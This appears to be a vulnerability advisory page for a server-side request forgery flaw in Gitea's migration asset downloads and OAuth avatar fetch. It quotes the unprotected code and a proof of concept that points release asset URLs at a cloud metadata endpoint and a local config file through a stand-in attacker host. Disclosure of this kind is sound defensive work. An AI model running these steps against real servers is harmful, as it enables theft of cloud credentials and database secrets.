🛡️ CVE-2026-34966 — gitea.dev

🟠 CVSS 7.6 — High ✅ No Known Exploit CWE-918 NVD
7.6
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

```go

func Open(uriStr string) (io.ReadCloser, error) {

u, err := url.Parse(uriStr)

switch strings.ToLower(u.Scheme) {

case "http", "https":

f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering

return f.Body, nil

case "file":

return os.Open(u.Path) // LOCAL FILE READ via file:// scheme

}

}

```

Callers in migration path:

  • services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
  • services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

```go

// Line 312 -- release asset download

resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)

resp, err := http.Get(u) // TODO: This probably needs to use the downloader

```

File: routers/web/auth/oauth.go (line 306)

```go

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {

resp, err := http.Get(url) // RAW http.Get -- no hostmatcher

```

Contrast with protected migration clone (same codebase):

```go

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher

transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

```

PoC

```bash

# Step 1: Set up attacker Gitea instance with malicious release asset URLs

# Create a repo on evil.gitea.attacker.com with a release asset whose

# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role

# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance

curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \

-H "Authorization: token ADMIN_API_TOKEN" \

-H "Content-Type: application/json" \

-d '{

"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",

"repo_name": "migrated-repo",

"repo_owner": "admin",

"service": "gitea"

}'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()

# Cloud metadata is saved as the release asset attachment in the migrated repo

# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data

curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

```

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability none.

Weakness class

CVE-2026-34966 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-34966 is recorded against 3 packages.

  • code.gitea.io/gitea
  • gitea.dev
  • unknown

Timeline and source

Published on 21 July 2026 and last revised on 7 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity High
CVSS Score 7.6
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2026-07-21
Updated 2026-08-12
Modified 2026-08-07
Fix URL N/A

Affected Packages

Software From version Fixed in
code.gitea.io/gitea
gitea.dev
unknown

Similar Threats

Site Security Check

Is gitea.dev part of your stack?

CVE-2026-34966 is rated CVSS 7.6 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.